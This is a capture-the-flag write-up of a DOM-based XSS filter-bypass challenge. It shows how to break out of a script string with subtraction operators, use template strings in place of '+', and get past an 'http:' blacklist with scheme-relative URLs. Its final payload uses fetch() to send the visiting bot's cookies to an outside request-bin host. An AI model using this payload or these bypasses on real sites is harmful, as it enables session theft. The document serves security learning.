XSS DOM Based - Filter Bypass

There is just a simple form asking for a number:

index.php

This form does a GET request with our user input as the number parameter.

Looking at the source of the page, we can see a <script> tag:

var random = Math.random() * (99);
var number = '2';
if(random == number) {
	document.getElementById('state').style.color = 'green';
	document.getElementById('state').innerHTML = 'You won this game but you don\'t have the flag ;)';
}
else{
	document.getElementById('state').style.color = 'red';
	document.getElementById('state').innerText = 'Sorry, wrong answer ! The right answer was ' + random;
}

Notice that our user input (2) was placed into the script. This means that we can use a single quote (') to break out of the string and add malicious javascript code.

After some testing, we can notice that semicolons (;) and plus characters (+) are stripped from our input.

To bypass these limitations we can use other arithmetic operators to chains expressions. Here's one way to pop an alert box: -alert(1)-'. This will result in the following javascript:

var number = ''-alert(1)-'';

To perform a subtraction, the javascript engine must first execute alert(1) to know the resulting value.

There is also a /contact.php page where we can submit a URL with our payload:

contact.php

A bot will visit this URL and trigger the XSS.

One assumption we can make is that the flag is stored in the cookies of the bot that is visiting the URL we submit (this is often the case in these kind of challenge).

The plan is to use fetch() and append the cookies in the URL, as a GET parameter.

One problem is that we can't use + (for example fetch("url/?cookies=" + document.cookie)). We can solve this problem by using a template string:

fetch(`url/?cookies=${document.cookie}`)

This is similar to f-strings in Python.

The other problem that we will encounter is when we put the string http: in our input:

http: error

We get a different error message, but it is still blacklisted.

We can bypass this filter by just omitting the scheme (protocol) from the URL. We end up with something like this: //domain.com/path?key=value. URLs starting with a double slash will use the protocol of the current page, meaning that if the current page in your browser was served over HTTPS, then the browser will prepend https: to the URL, and http: if it is HTTP.
Since the challenge website is served over HTTP, the request will be made over HTTP.

Now we need an endpoint to send to the cookie to. Assuming you don't live in your ISP's servers, your home IP won't be accessible from the internet. One way to get such endpoint is to use a HTTP request bin. It will give you a unique URL and a dashboard to view all requests to this URL.

The final payload looks like this:

'-fetch(`//env0yljovz6mn.x.pipedream.net/?c=${document.cookie}`)-'

Make sure to submit the entire URL to the bot (starting with http://challenge01.root-me.org).

After some time, a request is received on the HTTP bin:

flag